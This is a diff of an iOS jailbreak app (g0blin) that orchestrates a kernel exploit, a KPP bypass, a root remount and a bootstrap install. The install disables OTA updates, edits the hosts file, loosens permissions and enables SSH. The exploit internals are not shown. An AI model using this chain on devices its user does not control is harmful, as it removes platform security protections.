                                 <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
                                 <fontDescription key="fontDescription" name="Menlo-Regular" family="Menlo" pointSize="12"/>
                                 <color key="textColor" red="0.37055522200000002" green="0.37056469920000001" blue="0.37055957319999999" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
                                 <nil key="highlightedColor"/>
                             </label>
                             <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" fixedFrame="YES" text="SETTINGS" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="PVP-8v-gf0">
-                                <rect key="frame" x="16" y="45" width="265" height="65"/>
+                                <rect key="frame" x="16" y="20" width="265" height="50"/>
                                 <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
-                                <fontDescription key="fontDescription" name="Menlo-Bold" family="Menlo" pointSize="55"/>
-                                <color key="textColor" red="0.58188301320000002" green="0.21569153669999999" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                <fontDescription key="fontDescription" name="Menlo-Bold" family="Menlo" pointSize="36"/>
+                                <color key="textColor" red="0.50196078431372548" green="0.0" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
                                 <nil key="highlightedColor"/>
                             </label>
                             <button opaque="NO" contentMode="scaleToFill" fixedFrame="YES" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="Mof-uo-FQE">
-                                <rect key="frame" x="157" y="603" width="60" height="34"/>
+                                <rect key="frame" x="128" y="514" width="60" height="34"/>
                                 <autoresizingMask key="autoresizingMask" flexibleMinX="YES" flexibleMaxX="YES" flexibleMinY="YES"/>
                                 <fontDescription key="fontDescription" type="system" pointSize="18"/>
-                                <state key="normal" title="Save">
+                                <state key="normal" title="Close">
                                     <color key="titleColor" red="0.58188301320000002" green="0.21569153669999999" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
                                 </state>
                                 <connections>
                                     <segue destination="ckB-rY-P5O" kind="unwind" unwindAction="prepareForUnwind:" id="5Dj-k2-63R"/>
                                 </connections>
                             </button>
+                            <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" fixedFrame="YES" text="INFO" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="UI2-uu-82L">
+                                <rect key="frame" x="16" y="161" width="265" height="50"/>
+                                <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
+                                <fontDescription key="fontDescription" name="Menlo-Bold" family="Menlo" pointSize="36"/>
+                                <color key="textColor" red="0.50196078431372548" green="0.0" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                <nil key="highlightedColor"/>
+                            </label>
+                            <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" fixedFrame="YES" usesAttributedText="YES" lineBreakMode="tailTruncation" numberOfLines="0" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="SXG-YB-Hu8">
+                                <rect key="frame" x="16" y="224" width="288" height="149"/>
+                                <autoresizingMask key="autoresizingMask" widthSizable="YES" flexibleMaxX="YES" flexibleMaxY="YES"/>
+                                <attributedString key="attributedText">
+                                    <fragment content="kernel exploit:  siguza
discovered by:   ian beer
poc:             windknown
kpp bypass:      luca todesco
cs:              ">
+                                        <attributes>
+                                            <color key="NSColor" red="0.37055522200000002" green="0.37056469920000001" blue="0.37055957319999999" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                            <font key="NSFont" size="12" name="Menlo-Regular"/>
+                                            <paragraphStyle key="NSParagraphStyle" alignment="left" lineBreakMode="wordWrapping" baseWritingDirection="natural" lineSpacing="2" tighteningFactorForTruncation="0.0"/>
+                                        </attributes>
+                                    </fragment>
+                                    <fragment content="luca todesco">
+                                        <attributes>
+                                            <color key="NSColor" red="0.37056" green="0.37056" blue="0.37056" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                            <font key="NSFont" size="12" name="Menlo-Regular"/>
+                                            <paragraphStyle key="NSParagraphStyle" alignment="left" lineBreakMode="wordWrapping" baseWritingDirection="natural" lineSpacing="2" tighteningFactorForTruncation="0.0"/>
+                                        </attributes>
+                                    </fragment>
+                                    <fragment content="
sandbox:         ">
+                                        <attributes>
+                                            <color key="NSColor" red="0.37055522200000002" green="0.37056469920000001" blue="0.37055957319999999" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                            <font key="NSFont" size="12" name="Menlo-Regular"/>
+                                            <paragraphStyle key="NSParagraphStyle" alignment="left" lineBreakMode="wordWrapping" baseWritingDirection="natural" lineSpacing="2" tighteningFactorForTruncation="0.0"/>
+                                        </attributes>
+                                    </fragment>
+                                    <fragment content="luca todesco, ">
+                                        <attributes>
+                                            <color key="NSColor" red="0.37056" green="0.37056" blue="0.37056" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                            <font key="NSFont" size="12" name="Menlo-Regular"/>
+                                            <paragraphStyle key="NSParagraphStyle" alignment="left" lineBreakMode="wordWrapping" baseWritingDirection="natural" lineSpacing="2" tighteningFactorForTruncation="0.0"/>
+                                        </attributes>
+                                    </fragment>
+                                    <fragment content="tihmstar
patchfinder:     xerub
cydia:           saurik
">
+                                        <attributes>
+                                            <color key="NSColor" red="0.37055522200000002" green="0.37056469920000001" blue="0.37055957319999999" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                            <font key="NSFont" size="12" name="Menlo-Regular"/>
+                                            <paragraphStyle key="NSParagraphStyle" alignment="left" lineBreakMode="wordWrapping" baseWritingDirection="natural" lineSpacing="2" tighteningFactorForTruncation="0.0"/>
+                                        </attributes>
+                                    </fragment>
+                                    <fragment content="bootstrap:       saurik">
+                                        <attributes>
+                                            <color key="NSColor" red="0.37056" green="0.37056" blue="0.37056" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                            <font key="NSFont" size="12" name="Menlo-Regular"/>
+                                            <paragraphStyle key="NSParagraphStyle" alignment="left" lineBreakMode="wordWrapping" baseWritingDirection="natural" lineSpacing="2" tighteningFactorForTruncation="0.0"/>
+                                        </attributes>
+                                    </fragment>
+                                </attributedString>
+                                <nil key="highlightedColor"/>
+                            </label>
+                            <button opaque="NO" contentMode="scaleToFill" fixedFrame="YES" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="toY-9V-4Rf">
+                                <rect key="frame" x="16" y="405" width="96" height="32"/>
+                                <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
+                                <color key="backgroundColor" red="0.50196078431372548" green="0.0" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                <state key="normal" title="r/jailbreak">
+                                    <color key="titleColor" red="0.99999600649999998" green="1" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                </state>
+                                <connections>
+                                    <action selector="goReddit:" destination="E4R-mI-ttA" eventType="touchUpInside" id="oXy-WD-Gkt"/>
+                                </connections>
+                            </button>
+                            <button opaque="NO" contentMode="scaleToFill" fixedFrame="YES" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="pGU-D6-HFn">
+                                <rect key="frame" x="16" y="453" width="96" height="32"/>
+                                <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
+                                <color key="backgroundColor" red="0.50196078430000002" green="0.0" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                <state key="normal" title="discord">
+                                    <color key="titleColor" red="0.99999600649999998" green="1" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                </state>
+                                <connections>
+                                    <action selector="goDiscord:" destination="E4R-mI-ttA" eventType="touchUpInside" id="mBt-9B-fxG"/>
+                                </connections>
+                            </button>
                         </subviews>
                         <color key="backgroundColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
                         <viewLayoutGuide key="safeArea" id="WAO-C2-OHy"/>
                     </view>
                     <connections>
+                        <outlet property="discordButton" destination="pGU-D6-HFn" id="9sv-qE-aqd"/>
+                        <outlet property="redditButton" destination="toY-9V-4Rf" id="S8A-gG-idf"/>
                         <outlet property="reinstallBootstrapSwitch" destination="UjU-65-8UT" id="pvk-Ve-lp5"/>
                     </connections>
                 </viewController>
@@ -170,4 +250,7 @@
             <point key="canvasLocation" x="855" y="132.04225352112675"/>
         </scene>
     </scenes>
+    <resources>
+        <image name="logo" width="180" height="44"/>
+    </resources>
 </document>

+ 17 - 1
g0blin/SettingsController.m

@@ -9,7 +9,8 @@
 #import "SettingsController.h"
 
 @interface SettingsController ()
-
+@property (weak, nonatomic) IBOutlet UIButton *redditButton;
+@property (weak, nonatomic) IBOutlet UIButton *discordButton;
 @end
 
 @implementation SettingsController
@@ -18,9 +19,24 @@
     [super viewDidLoad];
     // Do any additional setup after loading the view.
     
+    self.redditButton.layer.cornerRadius = 6;
+    self.discordButton.layer.cornerRadius = 6;
+    
     [self.reinstallBootstrapSwitch setOn:NO animated:NO];
 }
 
+- (IBAction)goReddit:(UIButton *)sender {
+    NSURL *url = [NSURL URLWithString:@"http://reddit.com/r/jailbreak"];
+//    [[UIApplication sharedApplication] openURL:url];
+    [[UIApplication sharedApplication] openURL:url options:@{} completionHandler:nil];
+}
+
+- (IBAction)goDiscord:(UIButton *)sender {
+    NSURL *url = [NSURL URLWithString:@"http://discord.gg/RZqpUfR"];
+    //    [[UIApplication sharedApplication] openURL:url];
+    [[UIApplication sharedApplication] openURL:url options:@{} completionHandler:nil];
+}
+
 - (void)didReceiveMemoryWarning {
     [super didReceiveMemoryWarning];
     // Dispose of any resources that can be recreated.

+ 114 - 75
g0blin/ViewController.m

@@ -16,14 +16,16 @@
 #include "remount.h"
 #include "bootstrap.h"
 #include <sys/utsname.h>
+#import <AVFoundation/AVFoundation.h>
+#import <AVKit/AVKit.h>
 
 
 #define GRAPE [UIColor colorWithRed:0.5 green:0 blue:1 alpha:1]
 
 
 @interface ViewController ()
+@property (weak, nonatomic) IBOutlet UIImageView *logoView;
 @property (weak, nonatomic) IBOutlet UIButton *goButton;
-@property (weak, nonatomic) IBOutlet UIProgressView *progressView;
 @property (weak, nonatomic) IBOutlet UITextView *consoleView;
 @property (weak, nonatomic) IBOutlet UIButton *settingsButton;
 @property (weak, nonatomic) IBOutlet UILabel *reinstallBootstrapLabel;
@@ -35,6 +37,11 @@ static uint64_t kslide;
 static uint64_t kbase;
 static uint64_t kcred;
 
+BOOL respringNeeded;
+BOOL fun;
+AVPlayer *player;
+AVPlayerViewController *cont;
+
 
 @implementation ViewController
 
@@ -42,9 +49,6 @@ static uint64_t kcred;
     [super viewDidLoad];
     // Do any additional setup after loading the view, typically from a nib.
     
-    self.progressView.progress = 0;
-    self.progressView.hidden = YES;
-
     self.consoleView.layer.cornerRadius = 6;
     self.consoleView.text = nil;
     
@@ -65,15 +69,21 @@ static uint64_t kcred;
         [self.goButton setTitle:@"jailbroke yo!" forState:UIControlStateDisabled];
     }
     
-    
-    if (init_offsets() != KERN_SUCCESS) {
+    // try to load offsets for device
+    if (init_offsets() == KERN_SUCCESS) {
+        [self log:@"Ready. \n"];
+    } else {
         self.goButton.enabled = NO;
         self.goButton.backgroundColor = UIColor.darkGrayColor;
         [self.goButton setTitle:@"device not supported" forState:UIControlStateDisabled];
-        return;
     }
     
-    [self log:@"Ready. \n"];
+    // fun
+    UITapGestureRecognizer *doubleTap = [[UITapGestureRecognizer alloc] initWithTarget:self action:@selector(fun:)];
+    doubleTap.delaysTouchesBegan = YES;
+    doubleTap.numberOfTapsRequired = 3;
+    [self.logoView addGestureRecognizer:doubleTap];
+    self.logoView.userInteractionEnabled = YES;
 }
 
 - (void)didReceiveMemoryWarning {
@@ -93,78 +103,59 @@ static uint64_t kcred;
 }
 
 - (IBAction)go:(UIButton *)sender {
+    if (respringNeeded == YES) {
+        [self restart];
+        return;
+    }
+    
     self.goButton.enabled = NO;
     self.goButton.backgroundColor = UIColor.darkGrayColor;
     [self.goButton setTitle:@"jailbreaking" forState:UIControlStateDisabled];
     
-    self.progressView.hidden = NO;
-    [self.progressView setProgress:0.1 animated:YES];
-    
     [self log:@"exploiting kernel"];
     
     kern_return_t ret = v0rtex(&tfp0, &kslide, &kcred);
-    
-    dispatch_async(dispatch_get_main_queue(), ^{
+    if (ret != KERN_SUCCESS) {
+        self.goButton.enabled = YES;
+        self.goButton.backgroundColor = GRAPE;
+        [self.goButton setTitle:@"try again" forState:UIControlStateNormal];
         
-        if (ret != KERN_SUCCESS) {
-            self.goButton.enabled = YES;
-            self.goButton.backgroundColor = GRAPE;
-            [self.goButton setTitle:@"try again" forState:UIControlStateNormal];
-            
-            [self log:@"ERROR: exploit failed \n"];
-            return;
-        }
-        LOG("v0rtex was successful");
-        LOG("tfp0 -> %x", tfp0);
-        LOG("slide -> 0x%llx", kslide);
-        
-        kbase = kslide + 0xFFFFFFF007004000;
-        LOG("kern base -> 0x%llx", kbase);
-        
-        LOG("kern cred -> 0x%llx", kcred);
+        [self log:@"ERROR: exploit failed \n"];
+        return;
+    }
+    LOG("v0rtex was successful");
+    
+    LOG("tfp0 -> %x", tfp0);
+    LOG("slide -> 0x%llx", kslide);
+    kbase = kslide + 0xFFFFFFF007004000;
+    LOG("kern base -> 0x%llx", kbase);
+    LOG("kern cred -> 0x%llx", kcred);
 
-        [self bypassKPP];
-    });
+    [self bypassKPP];
 }
 
 - (void)bypassKPP {
+    [self log:@"pwning kernel"];
     
-    [self.progressView setProgress:0.3 animated:YES];
-    [self log:@"bypassing KPP"];
-    
-    //dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 1 * NSEC_PER_SEC), dispatch_get_main_queue(), ^{
-    dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 0.1 * NSEC_PER_SEC), dispatch_get_main_queue(), ^{
-
-        if (do_kpp(1, 0, kbase, kslide, tfp0, kcred) != KERN_SUCCESS) {
-            [self log:@"ERROR: kpp bypass failed \n"];
-            return;
-        }
-        LOG("fuck kpp, yolo kjc!");
-        
+    if (do_kpp(1, 0, kbase, kslide, tfp0) == KERN_SUCCESS) {
+        LOG("you down with kpp? yeah you know me");
         [self remount];
-    });
+    } else {
+        [self log:@"ERROR: kpp bypass failed \n"];
+    }
 }
 
 - (void)remount {
-
-    [self.progressView setProgress:0.5 animated:YES];
-    [self log:@"remounting / as r/w"];
-
-    //dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 1 * NSEC_PER_SEC), dispatch_get_main_queue(), ^{
-    dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 0.1 * NSEC_PER_SEC), dispatch_get_main_queue(), ^{
-
-        if (do_remount(kslide) != KERN_SUCCESS) {
-            [self log:@"ERROR: failed to remount system partition \n"];
-            return;
-        }
-
+    [self log:@"remounting"];
+    
+    if (do_remount(kslide) == KERN_SUCCESS) {
         [self bootstrap];
-  });
+    } else {
+        [self log:@"ERROR: failed to remount system partition \n"];
+    }
 }
 
 - (void)bootstrap {
-    
-    [self.progressView setProgress:0.6 animated:YES];
     [self log:@"bootstrapping"];
     
     BOOL force = NO;
@@ -173,30 +164,78 @@ static uint64_t kcred;
         [self log:@"(forcing reinstall)"];
     }
     
-    //dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 1 * NSEC_PER_SEC), dispatch_get_main_queue(), ^{
-    dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 0.1 * NSEC_PER_SEC), dispatch_get_main_queue(), ^{
-        if (do_bootstrap(force) != KERN_SUCCESS) {
-            [self log:@"ERROR: failed to bootstrap \n"];
-            return;
-        }
-        
+    if (do_bootstrap(force) == KERN_SUCCESS) {
         [self finish];
-    });
+    } else {
+        [self log:@"ERROR: failed to bootstrap \n"];
+    }
 }
 
 - (void)finish {
-    [self.progressView setProgress:1 animated:YES];
-    [self log:@"All done, peace!"];
+    [self log:@"device is now jailbroken!"];
+    [self log:@""];
+    [self log:@"SSH server is ready on port 2222"];
+    [self log:@"change your root/mobile passwords"];
+    [self log:@""];
+    [self log:@"respring to load tweaks"];
 
-    [self.goButton setTitle:@"jailbroke yo!" forState:UIControlStateDisabled];
-    
-    sleep(5);
+    sleep(2);
     
-    // start launchdaemons ...
-    LOG("reloading...");
+    LOG("reloading daemons...");
     pid_t pid;
     posix_spawn(&pid, "/bin/launchctl", 0, 0, (char**)&(const char*[]){"/bin/launchctl", "load", "/Library/LaunchDaemons/0.reload.plist", NULL}, NULL);
-    //waitpid(pid, 0, 0);
+    waitpid(pid, 0, 0);
+    
+    sleep(2);
+    
+    respringNeeded = YES;
+    [self.goButton setTitle:@"respring" forState:UIControlStateNormal];
+    self.goButton.enabled = YES;
+}
+
+- (void)restart {
+    LOG("restarting SpringBoard...");
+    
+    pid_t pid;
+    const char* args[] = { "killall", "backboardd", NULL };
+    posix_spawn(&pid, "/usr/bin/killall", NULL, NULL, (char* const*)args, NULL);
+}
+
+- (IBAction)fun:(UITapGestureRecognizer *)recognizer {
+    LOG("got secret tap");
+    
+    if (!fun) {
+        fun = YES;
+        
+        BOOL hasAudio = [AVAudioSession.sharedInstance setCategory:AVAudioSessionCategoryPlayback error:nil];
+        if (!hasAudio) {
+            LOG("no audio :/");
+        }
+        
+        NSURL *url = [NSBundle.mainBundle URLForResource:@"y0nkers" withExtension:@"m4v"];
+        LOG("url = %@", url);
+        if (!url) {
+            LOG("filenotfound");
+            return;
+        }
+        
+        player = [AVPlayer playerWithURL:url];
+        cont = [[AVPlayerViewController alloc] init];
+        cont.player = player;
+        cont.showsPlaybackControls = NO;
+        cont.updatesNowPlayingInfoCenter = NO;
+        
+        cont.view.frame = self.consoleView.bounds;
+        [self.consoleView addSubview:cont.view];
+        [player play];
+        
+    } else {
+        [player pause];
+        [cont.view removeFromSuperview];
+        player = nil;
+        cont = nil;
+        fun = NO;
+    }
 }
 
 @end

+ 13 - 10
g0blin/bootstrap.m

@@ -23,7 +23,7 @@ kern_return_t do_bootstrap(bool force) {
     pid_t pd = 0;
     NSString* execpath = [[NSString stringWithUTF8String:pt] stringByDeletingLastPathComponent];
     
-    int f = open("/.installed_g0blin", O_RDONLY);
+    int f = open("/.installed_g0blin_rc0", O_RDONLY);
     if (f == -1 || force) {
         LOG("installing bootstrap...");
         
@@ -34,6 +34,7 @@ kern_return_t do_bootstrap(bool force) {
         unlink("/bin/tar");
         unlink("/bin/launchctl");
         
+        
         copyfile([tar UTF8String], "/bin/tar", 0, COPYFILE_ALL);
         chmod("/bin/tar", 0755);
         
@@ -42,12 +43,16 @@ kern_return_t do_bootstrap(bool force) {
         waitpid(pd, 0, 0);
         LOG("bootstrap unpacked");
         
+        
         copyfile([launchctl UTF8String], "/bin/launchctl", 0, COPYFILE_ALL);
         chmod("/bin/launchctl", 0755);
         
-        open("/.installed_g0blin", O_RDWR|O_CREAT);
+        unlink(".installed_g0blin");
+        open("/.installed_g0blin_rc0", O_RDWR|O_CREAT);
+        
         open("/.cydia_no_stash", O_RDWR|O_CREAT);
         
+        
         // run Cydia install scripts
         {
             char *name = "/var/lib/dpkg/info/base.extrainst_";
@@ -75,7 +80,7 @@ kern_return_t do_bootstrap(bool force) {
         posix_spawn(&pd, "/bin/bash", 0, 0, (char**)&(const char*[]){"/bin/bash", "-c", """echo '127.0.0.1 appldnld.apple.com' >> /etc/hosts""", NULL}, NULL);
         LOG("modified hosts file");
         
-        // SBShowNonDefaultSystemApps = YES
+        // set SBShowNonDefaultSystemApps = YES so we can see Cydia (TODO: set via cfprefsd instead?)
         posix_spawn(&pd, "killall", 0, 0, (char**)&(const char*[]){"killall", "-SIGSTOP", "cfprefsd", NULL}, NULL);
         NSMutableDictionary *plist = [[NSMutableDictionary alloc] initWithContentsOfFile:@"/var/mobile/Library/Preferences/com.apple.springboard.plist"];
         [plist setObject:[NSNumber numberWithBool:YES] forKey:@"SBShowNonDefaultSystemApps"];
@@ -83,16 +88,14 @@ kern_return_t do_bootstrap(bool force) {
         posix_spawn(&pd, "killall", 0, 0, (char**)&(const char*[]){"killall", "-9", "cfprefsd", NULL}, NULL);
         LOG("modified com.apple.springboard.plist");
         
-        // update icons
+        // rebuild icon cache
         LOG("uicache...");
         posix_spawn(&pd, "/usr/bin/uicache", 0, 0, (char**)&(const char*[]){"/usr/bin/uicache", NULL}, NULL);
         waitpid(pd, 0, 0);
         
         LOG("finished installing bootstrap");
-        
-    } else {
-        LOG("bootstrap already installed");
     }
+    LOG("bootstrap ready");
     
     // copy reload
     NSString *reload = [execpath stringByAppendingPathComponent:@"reload"];
@@ -124,7 +127,6 @@ kern_return_t do_bootstrap(bool force) {
     chmod("/private/var/mobile", 0777);
     chmod("/private/var/mobile/Library", 0777);
     chmod("/private/var/mobile/Library/Preferences", 0777);
-    LOG("updated permissions");
 
     // kill OTA updater
     pid_t pid;
@@ -134,7 +136,8 @@ kern_return_t do_bootstrap(bool force) {
     chown("/var/MobileAsset/Assets/com_apple_MobileAsset_SoftwareUpdate", 0, 0);
     LOG("killed OTA updater");
     
-    LOG("finished bootstrapping");
+    
+    LOG("bootstrapped");
         
-    return KERN_SUCCESS;
+    return KERN_SUCCESS; // TODO: handle errors?
 }

BIN
g0blin/bootstrap.tar


+ 359 - 11
g0blin/kpp.h

@@ -23,7 +23,7 @@
 #include <Foundation/Foundation.h>
 
 
-kern_return_t do_kpp(int nukesb, int uref, uint64_t kernbase, uint64_t slide, task_t tfp0, uint64_t credpatch);
+kern_return_t do_kpp(int nukesb, int uref, uint64_t kernbase, uint64_t slide, task_t tfp0);
 
 
 size_t kread(uint64_t where, void *p, size_t size);
@@ -36,7 +36,353 @@ size_t kwrite_uint32(uint64_t where, uint32_t value);
 void kx2(uint64_t fptr, uint64_t arg1, uint64_t arg2);
 uint32_t kx5(uint64_t fptr, uint64_t arg1, uint64_t arg2, uint64_t arg3, uint64_t arg4, uint64_t arg5);
 
-struct mac_policy_ops {
+
+//------------------------------------------------------------------------------
+// From Yalu102
+//------------------------------------------------------------------------------
+//struct mac_policy_ops {
+//    uint64_t mpo_audit_check_postselect;
+//    uint64_t mpo_audit_check_preselect;
+//    uint64_t mpo_bpfdesc_label_associate;
+//    uint64_t mpo_bpfdesc_label_destroy;
+//    uint64_t mpo_bpfdesc_label_init;
+//    uint64_t mpo_bpfdesc_check_receive;
+//    uint64_t mpo_cred_check_label_update_execve;
+//    uint64_t mpo_cred_check_label_update;
+//    uint64_t mpo_cred_check_visible;
+//    uint64_t mpo_cred_label_associate_fork;
+//    uint64_t mpo_cred_label_associate_kernel;
+//    uint64_t mpo_cred_label_associate;
+//    uint64_t mpo_cred_label_associate_user;
+//    uint64_t mpo_cred_label_destroy;
+//    uint64_t mpo_cred_label_externalize_audit;
+//    uint64_t mpo_cred_label_externalize;
+//    uint64_t mpo_cred_label_init;
+//    uint64_t mpo_cred_label_internalize;
+//    uint64_t mpo_cred_label_update_execve;
+//    uint64_t mpo_cred_label_update;
+//    uint64_t mpo_devfs_label_associate_device;
+//    uint64_t mpo_devfs_label_associate_directory;
+//    uint64_t mpo_devfs_label_copy;
+//    uint64_t mpo_devfs_label_destroy;
+//    uint64_t mpo_devfs_label_init;
+//    uint64_t mpo_devfs_label_update;
+//    uint64_t mpo_file_check_change_offset;
+//    uint64_t mpo_file_check_create;
+//    uint64_t mpo_file_check_dup;
+//    uint64_t mpo_file_check_fcntl;
+//    uint64_t mpo_file_check_get_offset;
+//    uint64_t mpo_file_check_get;
+//    uint64_t mpo_file_check_inherit;
+//    uint64_t mpo_file_check_ioctl;
+//    uint64_t mpo_file_check_lock;
+//    uint64_t mpo_file_check_mmap_downgrade;
+//    uint64_t mpo_file_check_mmap;
+//    uint64_t mpo_file_check_receive;
+//    uint64_t mpo_file_check_set;
+//    uint64_t mpo_file_label_init;
+//    uint64_t mpo_file_label_destroy;
+//    uint64_t mpo_file_label_associate;
+//    uint64_t mpo_ifnet_check_label_update;
+//    uint64_t mpo_ifnet_check_transmit;
+//    uint64_t mpo_ifnet_label_associate;
+//    uint64_t mpo_ifnet_label_copy;
+//    uint64_t mpo_ifnet_label_destroy;
+//    uint64_t mpo_ifnet_label_externalize;
+//    uint64_t mpo_ifnet_label_init;
+//    uint64_t mpo_ifnet_label_internalize;
+//    uint64_t mpo_ifnet_label_update;
+//    uint64_t mpo_ifnet_label_recycle;
+//    uint64_t mpo_inpcb_check_deliver;
+//    uint64_t mpo_inpcb_label_associate;
+//    uint64_t mpo_inpcb_label_destroy;
+//    uint64_t mpo_inpcb_label_init;
+//    uint64_t mpo_inpcb_label_recycle;
+//    uint64_t mpo_inpcb_label_update;
+//    uint64_t mpo_iokit_check_device;
+//    uint64_t mpo_ipq_label_associate;
+//    uint64_t mpo_ipq_label_compare;
+//    uint64_t mpo_ipq_label_destroy;
+//    uint64_t mpo_ipq_label_init;
+//    uint64_t mpo_ipq_label_update;
+//    uint64_t mpo_file_check_library_validation;
+//    uint64_t mpo_vnode_notify_setacl;
+//    uint64_t mpo_vnode_notify_setattrlist;
+//    uint64_t mpo_vnode_notify_setextattr;
+//    uint64_t mpo_vnode_notify_setflags;
+//    uint64_t mpo_vnode_notify_setmode;
+//    uint64_t mpo_vnode_notify_setowner;
+//    uint64_t mpo_vnode_notify_setutimes;
+//    uint64_t mpo_vnode_notify_truncate;
+//    uint64_t mpo_mbuf_label_associate_bpfdesc;
+//    uint64_t mpo_mbuf_label_associate_ifnet;
+//    uint64_t mpo_mbuf_label_associate_inpcb;
+//    uint64_t mpo_mbuf_label_associate_ipq;
+//    uint64_t mpo_mbuf_label_associate_linklayer;
+//    uint64_t mpo_mbuf_label_associate_multicast_encap;
+//    uint64_t mpo_mbuf_label_associate_netlayer;
+//    uint64_t mpo_mbuf_label_associate_socket;
+//    uint64_t mpo_mbuf_label_copy;
+//    uint64_t mpo_mbuf_label_destroy;
+//    uint64_t mpo_mbuf_label_init;
+//    uint64_t mpo_mount_check_fsctl;
+//    uint64_t mpo_mount_check_getattr;
+//    uint64_t mpo_mount_check_label_update;
+//    uint64_t mpo_mount_check_mount;
+//    uint64_t mpo_mount_check_remount;
+//    uint64_t mpo_mount_check_setattr;
+//    uint64_t mpo_mount_check_stat;
+//    uint64_t mpo_mount_check_umount;
+//    uint64_t mpo_mount_label_associate;
+//    uint64_t mpo_mount_label_destroy;
+//    uint64_t mpo_mount_label_externalize;
+//    uint64_t mpo_mount_label_init;
+//    uint64_t mpo_mount_label_internalize;
+//    uint64_t mpo_netinet_fragment;
+//    uint64_t mpo_netinet_icmp_reply;
+//    uint64_t mpo_netinet_tcp_reply;
+//    uint64_t mpo_pipe_check_ioctl;
+//    uint64_t mpo_pipe_check_kqfilter;
+//    uint64_t mpo_pipe_check_label_update;
+//    uint64_t mpo_pipe_check_read;
+//    uint64_t mpo_pipe_check_select;
+//    uint64_t mpo_pipe_check_stat;
+//    uint64_t mpo_pipe_check_write;
+//    uint64_t mpo_pipe_label_associate;
+//    uint64_t mpo_pipe_label_copy;
+//    uint64_t mpo_pipe_label_destroy;
+//    uint64_t mpo_pipe_label_externalize;
+//    uint64_t mpo_pipe_label_init;
+//    uint64_t mpo_pipe_label_internalize;
+//    uint64_t mpo_pipe_label_update;
+//    uint64_t mpo_policy_destroy;
+//    uint64_t mpo_policy_init;
+//    uint64_t mpo_policy_initbsd;
+//    uint64_t mpo_policy_syscall;
+//    uint64_t mpo_system_check_sysctlbyname;
+//    uint64_t mpo_proc_check_inherit_ipc_ports;
+//    uint64_t mpo_vnode_check_rename;
+//    uint64_t mpo_kext_check_query;
+//    uint64_t mpo_iokit_check_nvram_get;
+//    uint64_t mpo_iokit_check_nvram_set;
+//    uint64_t mpo_iokit_check_nvram_delete;
+//    uint64_t mpo_proc_check_expose_task;
+//    uint64_t mpo_proc_check_set_host_special_port;
+//    uint64_t mpo_proc_check_set_host_exception_port;
+//    uint64_t mpo_exc_action_check_exception_send;
+//    uint64_t mpo_exc_action_label_associate;
+//    uint64_t mpo_exc_action_label_copy;
+//    uint64_t mpo_exc_action_label_destroy;
+//    uint64_t mpo_exc_action_label_init;
+//    uint64_t mpo_exc_action_label_update;
+//    uint64_t mpo_reserved1;
+//    uint64_t mpo_reserved2;
+//    uint64_t mpo_reserved3;
+//    uint64_t mpo_reserved4;
+//    uint64_t mpo_reserved5;
+//    uint64_t mpo_reserved6;
+//    uint64_t mpo_posixsem_check_create;
+//    uint64_t mpo_posixsem_check_open;
+//    uint64_t mpo_posixsem_check_post;
+//    uint64_t mpo_posixsem_check_unlink;
+//    uint64_t mpo_posixsem_check_wait;
+//    uint64_t mpo_posixsem_label_associate;
+//    uint64_t mpo_posixsem_label_destroy;
+//    uint64_t mpo_posixsem_label_init;
+//    uint64_t mpo_posixshm_check_create;
+//    uint64_t mpo_posixshm_check_mmap;
+//    uint64_t mpo_posixshm_check_open;
+//    uint64_t mpo_posixshm_check_stat;
+//    uint64_t mpo_posixshm_check_truncate;
+//    uint64_t mpo_posixshm_check_unlink;
+//    uint64_t mpo_posixshm_label_associate;
+//    uint64_t mpo_posixshm_label_destroy;
+//    uint64_t mpo_posixshm_label_init;
+//    uint64_t mpo_proc_check_debug;
+//    uint64_t mpo_proc_check_fork;
